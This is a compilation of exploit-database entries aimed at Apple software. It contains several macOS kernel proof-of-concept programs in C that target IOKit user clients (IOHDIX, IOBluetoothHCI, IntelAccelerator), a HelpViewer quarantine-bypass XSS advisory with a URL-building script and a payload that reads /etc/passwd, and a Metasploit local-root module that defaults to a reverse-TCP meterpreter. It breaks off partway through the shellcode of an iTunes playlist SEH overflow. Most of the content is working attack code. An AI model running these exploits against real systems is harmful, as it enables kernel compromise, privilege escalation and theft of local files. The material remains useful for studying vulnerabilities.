Method 5 of the IOHDIXController user client is createDrive64. This takes a 0x100 byte structure input from which it reads a userspace pointer and a size which it passes to IOHDIXController::convertClientBuffer. This wraps the memory pointed to by the userspace pointer in an IOMemoryDescriptor then takes the user-provided size, casts it to a 32-bit type and adds one. It passes that value to IOMalloc. By passing a size of 0xffffffff we can cause an integer overflow and IOMalloc will be passed a size of 0.

IOMalloc falls through to kalloc which will quite happily make a 0-sized allocation for us and return a valid, writable kernel heap pointer.

The original size we specified, cast to a 32-bit type but withone one added to it is then passed as the size of the target buffer in the call to IOMemoryDescriptor::readBytes which attempts to read from the wrapped userspace memory into the undersized kernel heap buffer.

It actually tries to use some fancy DMA stuff to do that copy and this PoC will almost certainly fail and kernel panic somewhere inside that DMA code as there probably aren't valid page-table entries for the whole destination range. But some kalloc heap spraying should take care of that allowing us to actually overwrite stuff :)
*/

/* ianbeer
clang -o iohdix iohdix.c -framework IOKit
Integer Overflow in IOHDIXControllerUserClient::convertClientBuffer leading to undersized kalloc allocation passed to DMA code

Method 5 of the IOHDIXController user client is createDrive64. This takes a 0x100 byte structure input from which it reads
a userspace pointer and a size which it passes to IOHDIXController::convertClientBuffer. This wraps the memory pointed to
by the userspace pointer in an IOMemoryDescriptor then takes the user-provided size,
casts it to a 32-bit type and adds one. It passes that value to IOMalloc. By passing a size of 0xffffffff we can
cause an integer overflow and IOMalloc will be passed a size of 0.

IOMalloc falls through to kalloc which will quite happily make a 0-sized allocation for us and return a valid, writable kernel
heap pointer.

The original size we specified, cast to a 32-bit type but withone one added to it is then passed as the size of the target buffer
in the call to IOMemoryDescriptor::readBytes which attempts to read from the wrapped userspace memory into the undersized
kernel heap buffer.

It actually tries to use some fancy DMA stuff to do that copy and this PoC will almost certainly fail somewhere inside that DMA code
as there probably aren't valid page-table entries for the whole destination range. But some kalloc heap spraying should take care of
that allowing us to actually overwrite stuff :)
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <IOKit/IOKitLib.h>

int main(){
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching("IOHDIXController");
  if(!matching){
    printf("unable to create service matching dictionary\n");
    return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
    printf("no matches\n");
    return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }else{
    printf("got userclient connection: %x, type:%d\n", conn, 0);
  }
  
  printf("got userclient connection: %x\n", conn);

  void* mem = malloc(0x100000000);
  uint64_t msg[0x100/8] = {0};
  msg[0] = 0xbeeffeed; // +0x00
  msg[1] = (uint64_t)mem;
  msg[2] = 0xffffffff; // +0x10

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  //char inputStruct[4096];
  //size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 4;

  // create a queue
  err = IOConnectCallMethod(
    conn,
    0x5,
    inputScalar,
    inputScalarCnt,
    msg,
    0x100,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 

  if (err != KERN_SUCCESS){
    printf("IOConnectCall error: %x\n", err);
    return 0;
  }


  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=569

IOBluetoothHCIUserClient uses an IOCommandGate to dispatch external methods; it passes a pointer to the structInput
of the external method as arg0 and ::SimpleDispatchWL as the Action. It neither passes nor checks the size of that structInput,
and SimpleDispatchWL goes on to read the field at +0x70 of the structInput:

__text:00000000000118EB                 mov     esi, [rbx+70h]      <-- rbx is structInput, size never checked so +0x70 can be OOB
__text:00000000000118EE                 test    esi, esi
__text:00000000000118F0                 mov     r13d, 0E00002C7h
__text:00000000000118F6                 js      loc_11C5B           <-- fail if negative
__text:00000000000118FC                 lea     rdx, _sRoutineCount
__text:0000000000011903                 cmp     esi, [rdx]
__text:0000000000011905                 jge     loc_11C5B           <-- fail if >= number of routines

This alone would be uninteresting, except that there is another fetch from rbx+0x70 which assumes the value hasn't changed:

__text:0000000000011995                 movsxd  rax, dword ptr [rbx+70h] <-- fetch OOB again
__text:0000000000011999                 mov     rcx, rax
__text:000000000001199C                 shl     rcx, 4
__text:00000000000119A0                 lea     rdx, _sRoutines
__text:00000000000119A7                 mov     r14d, [rdx+rcx+8]
__text:00000000000119AC                 cmp     r14d, 7
__text:00000000000119B0                 mov     r13d, 0E00002C2h
__text:00000000000119B6                 ja      loc_11C5B                <-- test that sRoutines[OOB].nParams is <= 7
__text:00000000000119BC                 mov     rcx, [rdx+rcx]
__text:00000000000119C0                 mov     [rbp+var_40], rcx        <-- save sRoutines[OOB].fptr into var_40

the code then sets the required registers/stack entries for the number of parameters and calls var_40:

__text:0000000000011B77                 mov     rdi, r15
__text:0000000000011B7A                 call    [rbp+var_40]

Therefore, by being able to change what follows the mach message corrisponding to this external method call in memory between the checks at +0x118eb
and the second fetch at +0x11995 we can defeat the bounds check and get a function pointer read out of bounds and called.

Tested on OS X ElCapitan 10.11 (15A284) on MacBookAir 5,2

Strongly recommended to use the gazalloc boot args as shown above to repro this!
*/

// ianbeer
// build: clang -o bluehci_oob_demux bluehci_oob_demux.c -framework IOKit
// boot-args: debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300

/*
Lack of bounds checking in IOBluetoothHCIUserClient external method dispatching allows arbitrary kernel code execution

IOBluetoothHCIUserClient uses an IOCommandGate to dispatch external methods; it passes a pointer to the structInput
of the external method as arg0 and ::SimpleDispatchWL as the Action. It neither passes nor checks the size of that structInput,
and SimpleDispatchWL goes on to read the field at +0x70 of the structInput:

__text:00000000000118EB                 mov     esi, [rbx+70h]      <-- rbx is structInput, size never checked so +0x70 can be OOB
__text:00000000000118EE                 test    esi, esi
__text:00000000000118F0                 mov     r13d, 0E00002C7h
__text:00000000000118F6                 js      loc_11C5B           <-- fail if negative
__text:00000000000118FC                 lea     rdx, _sRoutineCount
__text:0000000000011903                 cmp     esi, [rdx]
__text:0000000000011905                 jge     loc_11C5B           <-- fail if >= number of routines

This alone would be uninteresting, except that there is another fetch from rbx+0x70 which assumes the value hasn't changed:

__text:0000000000011995                 movsxd  rax, dword ptr [rbx+70h] <-- fetch OOB again
__text:0000000000011999                 mov     rcx, rax
__text:000000000001199C                 shl     rcx, 4
__text:00000000000119A0                 lea     rdx, _sRoutines
__text:00000000000119A7                 mov     r14d, [rdx+rcx+8]
__text:00000000000119AC                 cmp     r14d, 7
__text:00000000000119B0                 mov     r13d, 0E00002C2h
__text:00000000000119B6                 ja      loc_11C5B                <-- test that sRoutines[OOB].nParams is <= 7
__text:00000000000119BC                 mov     rcx, [rdx+rcx]
__text:00000000000119C0                 mov     [rbp+var_40], rcx        <-- save sRoutines[OOB].fptr into var_40

the code then sets the required registers/stack entries for the number of parameters and calls var_40:

__text:0000000000011B77                 mov     rdi, r15
__text:0000000000011B7A                 call    [rbp+var_40]

Therefore, by being able to change what follows the mach message corrisponding to this external method call in memory between the checks at +0x118eb
and the second fetch at +0x11995 we can defeat the bounds check and get a function pointer read out of bounds and called.

Tested on OS X ElCapitan 10.11 (15A284) on MacBookAir 5,2

Strongly recommended to use the gazalloc boot args as shown above to repro this!
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
  kern_return_t err;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 1;
  memset(inputStruct, 'A', inputStructCnt);

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;
  
  err = IOConnectCallMethod(
    conn,
    21,
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 

  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=595

The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod.

In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206)
calls gstqConfigure which doesn't check whether the GSTContextKernel pointer is NULL, therefore by calling
this external method before calling any others which allocate the GSTContextKernel we can cause a kernel
NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads
to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141.

Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/

// ianbeer
/*
Exploitable kernel NULL dereference in IntelAccelerator::gstqConfigure

clang -o ig_gl_gst_null ig_gl_gst_null.c -framework IOKit -m32 -pagezero_size 0x0

The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod.

In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206)
calls gstqConfigure which doesn't check whether the GSTContextKernel pointer is NULL, therefor by calling
this external method before calling any others which allocate the GSTContextKernel we can cause a kernel
NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads
to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141.

Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = 'A';
  }

  CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);
  
  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 1, &conn); // type 1 == IGAccelGLContext
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);


  uint64_t* obj_ptr = malloc(0x1000);
  uint64_t* obj = malloc(0x1000);
  uint64_t* vtable = malloc(0x1000);
  uint64_t kernel_rip = 0xffff800041414141;

  vtable[0x70/8] = kernel_rip;
  *obj = (uint64_t)vtable;

  *obj_ptr = (uint64_t)obj;

  *((uint64_t*)0x28) = (uint64_t)obj_ptr;

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;

  inputScalarCnt = 0;
  inputStructCnt = 0;

  outputScalarCnt = 0;
  outputStructCnt = 0;

  inputStructCnt = 0x1000;

  err = IOConnectCallMethod(
   conn,
   0x206,
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
   return 0;
  }
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=596

The external method 0x206 of IGAccelGLContext is gst_configure. This method takes an arbitrary sized input structure
(passed in rsi) but doesn't check the size of that structure (passed in rcx.)

__text:000000000002A366 __ZN16IGAccelGLContext13gst_configureEP19GstConfigurationRecS1_jPj proc near
__text:000000000002A366                                         ; DATA XREF: __const:000000000005BF88o
__text:000000000002A366                 push    rbp
__text:000000000002A367                 mov     rbp, rsp
__text:000000000002A36A                 push    r15
__text:000000000002A36C                 push    r14
__text:000000000002A36E                 push    r12
__text:000000000002A370                 push    rbx
__text:000000000002A371                 mov     rax, rdx
__text:000000000002A374                 mov     r15, rsi         ; <-- r15 points to controlled mach message data
__text:000000000002A377                 mov     r14, rdi
__text:000000000002A37A                 mov     edx, [r15+800h]  ; <-- size never checked -> oob read
__text:000000000002A381                 cmp     edx, 200h
__text:000000000002A387                 jbe     short loc_2A3AD
__text:000000000002A389                 lea     rdi, aIgaccelglcon_0 ; "IGAccelGLContext::%s Error: Number of e"...
__text:000000000002A390                 lea     rsi, aGst_configure ; "gst_configure"
__text:000000000002A397                 mov     ecx, 200h
__text:000000000002A39C                 xor     eax, eax
__text:000000000002A39E                 call    _IOLog


here we can see that the method is reading a dword at offset 0x800 of the input struct and comparing that value to 0x200.
This method is reached via MIG and if we call userspace IOConnectCallMethod with a small input struct then the mach
message is actually packed such that only the input struct size we send actually gets sent; therefore this is an OOB read.

The first interesting conseqeuence of this is that if the value read is > 0x200 then it gets logged to /var/log/system.log
which we can read from userspace allowing us to disclose some kernel memory.

However, we can do more:

r15 is passed to IntelAccelerator::gstqConfigure:

mov     rsi, r15
call    __ZN16IntelAccelerator13gstqConfigureEP19GstConfigurationRec

where we reach the following code:

__text:000000000001DC29                 mov     edx, [rsi+800h]
__text:000000000001DC2F                 shl     rdx, 2          ; size_t
__text:000000000001DC33                 lea     rdi, _gstCustomCounterConfigPair ; void *
__text:000000000001DC3A                 call    _memcpy

here the value at +0x800 is read again and used as the size for a memcpy assuming that it has already been verified, but
since it's outside the bounds of the allocation this is actually a toctou bug since with some heap manipulation we can
change that value to be > 0x200 allowing us to overflow the _gstCustomCounterConfigPair buffer.

Since the struct input comes from a mach message this heap grooming shouldn't be that difficult.

clang -o ig_gl_gst_oob_read ig_gl_gst_oob_read.c -framework IOKit

repro: while true; ./ig_gl_gst_oob_read; done

Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/

// ianbeer
/*
Lack of bounds checking in gst_configure leads to kernel buffer overflow due to toctou (plus kernel memory disclosure)

The external method 0x206 of IGAccelGLContext is gst_configure. This method takes an arbitrary sized input structure
(passed in rsi) but doesn't check the size of that structure (passed in rcx.)

__text:000000000002A366 __ZN16IGAccelGLContext13gst_configureEP19GstConfigurationRecS1_jPj proc near
__text:000000000002A366                                         ; DATA XREF: __const:000000000005BF88o
__text:000000000002A366                 push    rbp
__text:000000000002A367                 mov     rbp, rsp
__text:000000000002A36A                 push    r15
__text:000000000002A36C                 push    r14
__text:000000000002A36E                 push    r12
__text:000000000002A370                 push    rbx
__text:000000000002A371                 mov     rax, rdx
__text:000000000002A374                 mov     r15, rsi         ; <-- r15 points to controlled mach message data
__text:000000000002A377                 mov     r14, rdi
__text:000000000002A37A                 mov     edx, [r15+800h]  ; <-- size never checked -> oob read
__text:000000000002A381                 cmp     edx, 200h
__text:000000000002A387                 jbe     short loc_2A3AD
__text:000000000002A389                 lea     rdi, aIgaccelglcon_0 ; "IGAccelGLContext::%s Error: Number of e"...
__text:000000000002A390                 lea     rsi, aGst_configure ; "gst_configure"
__text:000000000002A397                 mov     ecx, 200h
__text:000000000002A39C                 xor     eax, eax
__text:000000000002A39E                 call    _IOLog


here we can see that the method is reading a dword at offset 0x800 of the input struct and comparing that value to 0x200.
This method is reached via MIG and if we call userspace IOConnectCallMethod with a small input struct then the mach
message is actually packed such that only the input struct size we send actually gets sent; therefore this is an OOB read.

The first interesting conseqeuence of this is that if the value read is > 0x200 then it gets logged to /var/log/system.log
which we can read from userspace allowing us to disclose some kernel memory.

However, we can do more:

r15 is passed to IntelAccelerator::gstqConfigure:

mov     rsi, r15
call    __ZN16IntelAccelerator13gstqConfigureEP19GstConfigurationRec

where we reach the following code:

__text:000000000001DC29                 mov     edx, [rsi+800h]
__text:000000000001DC2F                 shl     rdx, 2          ; size_t
__text:000000000001DC33                 lea     rdi, _gstCustomCounterConfigPair ; void *
__text:000000000001DC3A                 call    _memcpy

here the value at +0x800 is read again and used as the size for a memcpy assuming that it has already been verified, but
since it's outside the bounds of the allocation this is actually a toctou bug since with some heap manipulation we can
change that value to be > 0x200 allowing us to overflow the _gstCustomCounterConfigPair buffer.

Since the struct input comes from a mach message this heap grooming shouldn't be that difficult.

clang -o ig_gl_gst_oob_read ig_gl_gst_oob_read.c -framework IOKit

repro: while true; ./ig_gl_gst_oob_read; done

Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
  kern_return_t err;
  
  CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);
  
  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 1, &conn); // type 1 == IGAccelGLContext
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);
  
  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;

  inputScalarCnt = 0;
  inputStructCnt = 0;

  outputScalarCnt = 0;
  outputStructCnt = 0;

  inputStructCnt = 0x30;

  err = IOConnectCallMethod(
   conn,
   0x205,                 //gst_operation
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
   printf("that was an error in the first call, don't care!\n");
  }
  

  
  inputStructCnt = 0x1;

  err = IOConnectCallMethod(
   conn,
   0x206,                 //gst_configure
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
   return 0;
  }
}
            
Title:                 Mac OS X Local Javascript Quarantine Bypass
Product:               Mac OS X
Version:               10.12, 10.11, 10.10 and probably prior
Vendor:                apple.com <http://apple.com/>
Type:                  DOM Based XSS
Risk level:            3 / 5
Credits:               filippo.cavallarin@wearesegment.com <mailto:filippo.cavallarin@wearesegment.com>
CVE:                   N/A
Vendor notification:   2017-07-15
Vendor fix:            2017-09-25
Public disclosure:     2017-09-28




DETAILS

Mac OS X contains a vulnerability that allows the bypass of the Apple Quarantine and the execution of arbitrary
Javascript code without restrictions. 

Basically, Apple's Quarantine works by setting an extended attribute to downloaded files (and also to files
extracted from downloaded archive/image) that tells the system to open/execute those files in a restricted 
environment. For example, a quarantined html file won't be able to load local resources.

The vulnerability is in one html file, part of the Mac OS X core, that is prone to a DOM Based XSS allowing the 
excution of arbitrary javascript commands in its (unrestricted) context.

The mentioned file is located at /System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html
and contains the following code:

<script type="text/javascript" charset="utf-8">

setBasePathFromString(urlParam("rhtml"));
loadLocStrings();
loadJavascriptLibs();

function init () { /* <-- called by <body onload="init()" */
 [...]

 rHTMLPath = urlParam("rhtml"); /* <-- takes 'rhtml' parameters from current url */

 [...]

 self.contentHttpReq.open('GET', rHTMLPath, true);
 self.contentHttpReq.onreadystatechange = function() {
     if (self.contentHttpReq.readyState == 4) {
         loadTutorial(self.contentHttpReq.responseText);
     }
 }
 [...]
}

function loadTutorial(response) {
 var rHTMLPath = urlParam("rhtml");

 // this will create a tutorialData item
 eval(response);
 [...]
}

function loadLocStrings()
{
 var headID = document.getElementsByTagName("head")[0];         
 var rHTMLPath = urlParam("rhtml");

 rHTMLPath = rHTMLPath.replace("metaData.html", "localizedStrings.js");
 var newScript = document.createElement('script');
 newScript.type = 'text/javascript';
 newScript.src = rHTMLPath;
 headID.appendChild(newScript);      
}
[...]
</script>


In short, it takes an url from the "rhtml" query string parameter, makes a request to that url and evaluates
the response content as javascript code.

The code below contains two different DOM Based XSS. 
The first is in the loadLocStrings() function that creates a SCRIPT element and uses the "rhtml" parameter as
its "src" property.
The second is in the init() function that uses the "rhtml" parameter to make an ajax call and then passes the
response directly to eval().
As the result the same payload is executed twice.

An attacker, by providing a data uri, can take control of the response and thus what gets evaluated.

One possile vector of exploitation are the .webloc files. Basically those files contain an url and they simply loads
it in Safari when opened. 
By crafting a .webloc file and by tricking a victim to open it, an attacker can run privileged javascript commands on
the victim's computer.
Due to the fact that .webloc files also use an extended attribute to store data, they must be sent contained in a tar
archive (or any other format that supports extended attributes).



PROOF OF CONCEPT

To reproduce the issue follow the steps below:
  1. create a javascript file you want to execute on your target
  2. convert its content to base64
  3. encode it to a "uri component" (ex with encodeURIComponent js function)
  4. use it to build a data uri as follow:
    data:text/plain;base64,<urlencoded base64>
  5. prepend the following string to it:
    file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml= <file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml=>
  6. open it with Safari
  7. save it as a bookmark
  8. drag the bookmark to the Finder (a .webloc file is created, if the extension is not .webloc, rename it)
  9. create a tar archive containing the .webloc file
 10. send it to the victim

Note that due to the behaviour of rhtmlPlayer.html, in order to access local resources, the first line of the
javascript code must be: document.getElementsByTagName("base")[0].href="";

The following bash script will take a javascript file and converts it to final "file" url:
BOF
#!/bin/bash

BASEURL="file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml= <file:///System/Library/CoreServices/HelpViewer.app/Contents/Resources/rhtmlPlayer.html?rhtml=>"
BASEJS="(function(){document.getElementsByTagName('base')[0].href='';if('_' in window)return;window._=1;"
DATAURI="data:text/plain;base64,"

JSFILE=$1

if [ "$JSFILE" = "" ]; then
 echo "usage: $0 <jsfile>"
 exit 1
fi

JS=$BASEJS`cat $JSFILE`"})();"
ENCJS=`echo -n $JS | base64 | sed 's/=/%3D/g' | sed 's/+/%2F/g' | sed 's/\//%2B/g'`
URL="$BASEURL""$DATAURI""$ENCJS"

echo -ne "Paste the url below into Safari's url bar:\n\033[33m$URL\033[0m\n"
EOF


The following javascript code will alert the /etc/passwd file on the victim's computer:
BOF
xhr = new XMLHttpRequest();
xhr.open("GET", "/etc/passwd", true);
xhr.onreadystatechange = function(){
if (xhr.readyState == 4) {
 alert(xhr.responseText);
}
};
xhr.send();
EOF

Note that only Safari will successfully load local resources via ajax (Chrome and Firefox won't). In this
exploitation process it's not an issue since .webloc files are always opened with Safari.



NOTE

This issue has been silently fixed in Mac OS X High Sierra and (at time of writing) there is no mention of this
bug in Apple's changelog. 
No CVE has been assigned by Apple.


SOLUTION

Upgrade to Mac OS X High Sierra or simply remove rhtmlPlayer.html.
Safari 11 (available for Mac OS X 10.11, 10.12 and 10.13) introduces the following security henancement:
"CORS and cross origin access from file:// are now blocked unless Disable Local File Restrictions is selected from the Develop menu"
hence the above exploit will not work against updated versions of OSX El Capitan and Sierra. However javascript execution outside quarantine is still possible.


REFERENCES

https://www.wearesegment.com/research/Mac-OS-X-Local-Javascript-Quarantine-Bypass.html <https://www.wearesegment.com/research/Mac-OS-X-Local-Javascript-Quarantine-Bypass.html>


DISCLOSURE

This vulnerability has been disclosed thru Securiteam Secure Disclosure program: http://www.beyondsecurity.com/ssd <http://www.beyondsecurity.com/ssd>
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Mac OS X Feedback Assistant Race Condition',
      'Description'   => %q{
        This module exploits a race condition vulnerability in Mac's Feedback Assistant.
        A successful attempt would result in remote code execution under the context of
        root.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [
          'CodeColorist', # Discovery and exploit
          'timwr',        # Metasploit module
      ],
      'References'     => [
          ['CVE', '2019-8565'],
          ['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe'],
          ['URL', 'https://support.apple.com/en-in/HT209600'],
          ['URL', 'https://github.com/ChiChou/sploits'],
      ],
      'SessionTypes'   => [ 'meterpreter', 'shell' ],
      'Platform'       => [ 'osx', 'python', 'unix' ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
      'Targets'        => [
          [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
          [ 'Python payload',                { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
          [ 'Command payload',               { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
      ],
      'DisclosureDate' => 'Apr 13 2019'))
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def upload_executable_file(filepath, filedata)
    print_status("Uploading file: '#{filepath}'")
    write_file(filepath, filedata)
    chmod(filepath)
    register_file_for_cleanup(filepath)
  end

  def check
    version = Gem::Version.new(get_system_version)
    if version >= Gem::Version.new('10.14.4')
      CheckCode::Safe
    else
      CheckCode::Appears
    end
  end

  def exploit
    if check != CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless writable? datastore['WritableDir']
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end

    case target['Arch']
    when ARCH_X64
      payload_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
      binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
      upload_executable_file(payload_file, binary_payload)
      root_cmd = payload_file
    when ARCH_PYTHON
      root_cmd = "echo \"#{payload.encoded}\" | python"
    else
      root_cmd = payload.encoded
    end
    root_cmd = root_cmd + " & \0"
    if root_cmd.length > 1024
      fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"
    end

    exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8565", "exploit" ))
    placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')
    exploit_data[placeholder_index, root_cmd.length] = root_cmd

    exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
    upload_executable_file(exploit_file, exploit_data)

    print_status("Executing exploit '#{exploit_file}'")
    result = cmd_exec(exploit_file)
    print_status("Exploit result:\n#{result}")
  end
end
            
# Exploit Title: Apple Itunes PLS title buffer overflow
# Date: April 26 ,2015 (Day of disclosing this exploit code)
# Exploit Author: Fady Mohamed Osman (@fady_osman)
# Vendor Homepage: http://www.apple.com
# Software Link: http://www.apple.com/itunes/download/?id=890128564
# Version: 10.6.1.7
# Tested on: Windows Xp sp3
# Exploit-db : http://www.exploit-db.com/author/?a=2986
# Youtube : https://www.youtube.com/user/cutehack3r

header = "[Playlist]\r\n"
header << "NumberOfEntries=1\r\n"
header << "File1=http://www.panix.com/web/faq/multimedia/sample.mp3\r\n"
header << "Title1="

nseh_longer = "\xeb\x1E\x90\x90"
nseh_shorter = "\xeb\x06\x90\x90"
seh = 0x72d119de #pop pop ret from msacm32.drv
shell = "\xdd\xc1\xd9\x74\x24\xf4\xbb\x2b\x2b\x88\x37\x5a\x31\xc9" +
"\xb1\x33\x83\xea\xfc\x31\x5a\x13\x03\x71\x38\x6a\xc2\x79" +
"\xd6\xe3\x2d\x81\x27\x94\xa4\x64\x16\x86\xd3\xed\x0b\x16" +
"\x97\xa3\xa7\xdd\xf5\x57\x33\x93\xd1\x58\xf4\x1e\x04\x57" +
"\x05\xaf\x88\x3b\xc5\xb1\x74\x41\x1a\x12\x44\x8a\x6f\x53" +
"\x81\xf6\x80\x01\x5a\x7d\x32\xb6\xef\xc3\x8f\xb7\x3f\x48" +
"\xaf\xcf\x3a\x8e\x44\x7a\x44\xde\xf5\xf1\x0e\xc6\x7e\x5d" +
